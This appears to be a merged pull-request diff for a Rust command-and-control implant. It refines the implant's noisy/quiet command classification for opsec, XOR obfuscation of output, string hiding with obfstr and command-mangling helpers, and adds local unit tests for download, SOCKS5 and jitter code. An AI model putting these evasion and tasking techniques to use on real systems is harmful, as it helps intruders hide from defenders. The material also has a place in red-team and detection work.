Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 31 additions & 2 deletions agent/src/commands/command_shell.rs
Original file line number Diff line number Diff line change
Expand Up @@ -387,7 +387,9 @@ async fn submit_result_with_client(

fn is_weak_command(cmd: &str) -> bool {
let quiet = [obfstr!("ping").to_string(), obfstr!("echo").to_string()];
quiet.iter().any(|q| cmd.starts_with(q))
quiet
.iter()
.any(|q| starts_with_command_token(cmd, q.as_str()))
}

fn is_strong_command(cmd: &str) -> bool {
Expand All @@ -404,7 +406,21 @@ fn is_strong_command(cmd: &str) -> bool {
obfstr!("uname").to_string(),
obfstr!("cat").to_string(),
];
noisy.iter().any(|n| cmd.starts_with(n))
noisy
.iter()
.any(|n| starts_with_command_token(cmd, n.as_str()))
}

fn starts_with_command_token(cmd: &str, token: &str) -> bool {
let trimmed = cmd.trim_start();
if !trimmed.starts_with(token) {
return false;
}

match trimmed[token.len()..].chars().next() {
Some(next) => next.is_whitespace(),
None => true,
}
}

// Check if the command should be executed based on the current opsec mode
Expand Down Expand Up @@ -658,4 +674,17 @@ mod tests {

assert_eq!(err.kind(), io::ErrorKind::InvalidInput);
}

#[test]
fn classifies_commands_on_token_boundaries() {
assert!(is_weak_command("ping 127.0.0.1"));
assert!(is_weak_command(" echo hello"));
assert!(!is_weak_command("pinger"));
assert!(!is_weak_command("echoed"));

assert!(is_strong_command("download report.txt"));
assert!(is_strong_command("whoami"));
assert!(!is_strong_command("downloaded"));
assert!(!is_strong_command("echo hello"));
}
}
34 changes: 34 additions & 0 deletions agent/src/commands/obfuscated.rs
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,10 @@ pub fn xor_obfuscate(data: &str, key: &str) -> String {
/// XOR deobfuscate a hex string with a key (agent_id)
pub fn xor_deobfuscate(hex: &str, key: &str) -> Option<String> {
let key_bytes = key.as_bytes();
if key_bytes.is_empty() || (hex.len() & 1) != 0 {
return None;
}

let bytes: Result<Vec<u8>, _> = (0..hex.len())
.step_by(2)
.map(|i| u8::from_str_radix(&hex[i..i + 2], 16))
Expand Down Expand Up @@ -91,3 +95,33 @@ pub fn random_char_insertion(s: &str, probability: f32) -> String {
}
result
}

#[cfg(test)]
mod tests {
use super::*;

#[test]
fn xor_obfuscation_round_trips() {
let obfuscated = xor_obfuscate("command output", "agent-one");

assert_ne!(obfuscated, "command output");
assert_eq!(
xor_deobfuscate(&obfuscated, "agent-one").as_deref(),
Some("command output")
);
}

#[test]
fn xor_deobfuscation_rejects_malformed_input() {
assert_eq!(xor_deobfuscate("f", "agent-one"), None);
assert_eq!(xor_deobfuscate("zz", "agent-one"), None);
assert_eq!(xor_deobfuscate("00", ""), None);
}

#[test]
fn probability_zero_transforms_are_identity() {
assert_eq!(random_case("Echo Ping", 0.0), "Echo Ping");
assert_eq!(random_quote_insertion("echo ping", 0.0), "echo ping");
assert_eq!(random_char_insertion("echo", 0.0), "echo");
}
}
100 changes: 62 additions & 38 deletions agent/src/file_handling/download.rs
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
use log::{debug, error, info, warn};
use reqwest::Client; // Use reqwest::Client
use std::error::Error;
use std::path::Path;
Expand Down Expand Up @@ -30,47 +29,72 @@ mod tests {
use super::*;
use std::fs;
use std::path::PathBuf;
use tokio::runtime::Runtime;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpListener;

// Basic test requires a running web server to serve the file.
// This test structure assumes such a server exists at 127.0.0.1:8080.
#[test]
fn test_download_functionality() {
let rt = Runtime::new().unwrap();
rt.block_on(async {
let test_file_url = "http://127.0.0.1:8080/test_download.txt"; // Example URL
let download_path = PathBuf::from("downloaded_test_file.txt");
#[tokio::test]
async fn downloads_successful_response_to_disk() {
let url = spawn_one_response_server("200 OK", b"downloaded body").await;
let download_path = unique_temp_path("download-success.txt");

// Ensure the test file doesn't exist before download
if download_path.exists() {
fs::remove_file(&download_path).unwrap();
}
if let Err(err) = download_file(&url, &download_path).await {
panic!("download should succeed: {}", err);
}

// Attempt download
match download_file(test_file_url, &download_path).await {
Ok(_) => {
info!("Download successful.");
// Verify file exists
assert!(download_path.exists());
// Optional: Verify file content if known
// let content = fs::read_to_string(&download_path).unwrap();
// assert_eq!(content, "Expected content");
}
Err(e) => {
// If the server isn't running, this error is expected.
warn!(
"Download failed (is test server running at {}?): {}",
test_file_url, e
);
// We don't fail the test here, as the server might not be running.
// assert!(false, "Download failed: {}", e);
}
}
let content = must(fs::read_to_string(&download_path), "read downloaded file");
assert_eq!(content, "downloaded body");
let _ = fs::remove_file(download_path);
}

#[tokio::test]
async fn returns_error_for_unsuccessful_response() {
let url = spawn_one_response_server("404 Not Found", b"missing").await;
let download_path = unique_temp_path("download-missing.txt");

let err = match download_file(&url, &download_path).await {
Ok(()) => panic!("download should fail for 404 response"),
Err(err) => err,
};

assert!(err.to_string().contains("404"));
assert!(!download_path.exists());
}

// Cleanup
if download_path.exists() {
fs::remove_file(&download_path).unwrap();
}
async fn spawn_one_response_server(status: &'static str, body: &'static [u8]) -> String {
let listener = must(TcpListener::bind("127.0.0.1:0").await, "bind test server");
let addr = must(listener.local_addr(), "read test server address");
tokio::spawn(async move {
let (mut stream, _) = must(listener.accept().await, "accept test request");
let mut request = [0_u8; 1024];
let _ = must(stream.read(&mut request).await, "read test request");
let headers = format!(
"HTTP/1.1 {}\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
status,
body.len()
);
must(
stream.write_all(headers.as_bytes()).await,
"write test response headers",
);
must(stream.write_all(body).await, "write test response body");
});
format!("http://{}", addr)
}

fn unique_temp_path(name: &str) -> PathBuf {
let nanos = must(
SystemTime::now().duration_since(UNIX_EPOCH),
"read system time",
)
.as_nanos();
std::env::temp_dir().join(format!("microc2-{}-{}-{}", std::process::id(), nanos, name))
}

fn must<T, E: std::fmt::Display>(result: Result<T, E>, context: &str) -> T {
match result {
Ok(value) => value,
Err(err) => panic!("{}: {}", context, err),
}
}
}
31 changes: 16 additions & 15 deletions agent/src/networking/socks5.rs
Original file line number Diff line number Diff line change
Expand Up @@ -299,29 +299,30 @@ mod tests {
use super::*;

#[tokio::test]
async fn test_socks5_connection() {
let client =
Socks5Client::new("127.0.0.1".to_string(), 1080).with_timeout(Duration::from_secs(5));
async fn rejects_invalid_proxy_address_without_network_io() {
let client = Socks5Client::new("not a socket addr".to_string(), 1080)
.with_timeout(Duration::from_millis(10));

let result = client.connect_to("example.com".to_string(), 80).await;
match result {
Ok(_) => info!("Connection successful"),
Err(e) => error!("Connection failed: {}", e),
match client.connect_to("example.com".to_string(), 80).await {
Err(Socks5Error::InvalidAddress(_)) => {}
other => panic!("expected invalid proxy address error, got {:?}", other),
}
}

#[tokio::test]
async fn test_socks5_auth_connection() {
async fn zero_retries_returns_failure_without_network_io() {
let client = Socks5Client::new("127.0.0.1".to_string(), 1080)
.with_auth("user".to_string(), "pass".to_string())
.with_timeout(Duration::from_secs(5));
.with_timeout(Duration::from_millis(10));

let result = client
.connect_with_retries("example.com".to_string(), 80, 3)
.await;
match result {
Ok(_) => info!("Authenticated connection successful"),
Err(e) => error!("Authenticated connection failed: {}", e),
match client
.connect_with_retries("example.com".to_string(), 80, 0)
.await
{
Err(Socks5Error::ConnectionFailed(message)) => {
assert_eq!(message, "Max retries exceeded")
}
other => panic!("expected max retries failure, got {:?}", other),
}
}
}
22 changes: 22 additions & 0 deletions agent/src/util.rs
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,25 @@ pub fn random_jitter(base: u64, jitter: u64) -> u64 {
}
base + (rand::random::<u64>() % (jitter + 1))
}

#[cfg(test)]
mod tests {
use super::*;

#[test]
fn random_jitter_returns_base_without_jitter() {
assert_eq!(random_jitter(30, 0), 30);
}

#[test]
fn random_jitter_stays_within_inclusive_bounds() {
for _ in 0..256 {
let value = random_jitter(30, 5);
assert!(
(30..=35).contains(&value),
"expected jittered value in 30..=35, got {}",
value
);
}
}
}
Loading
Loading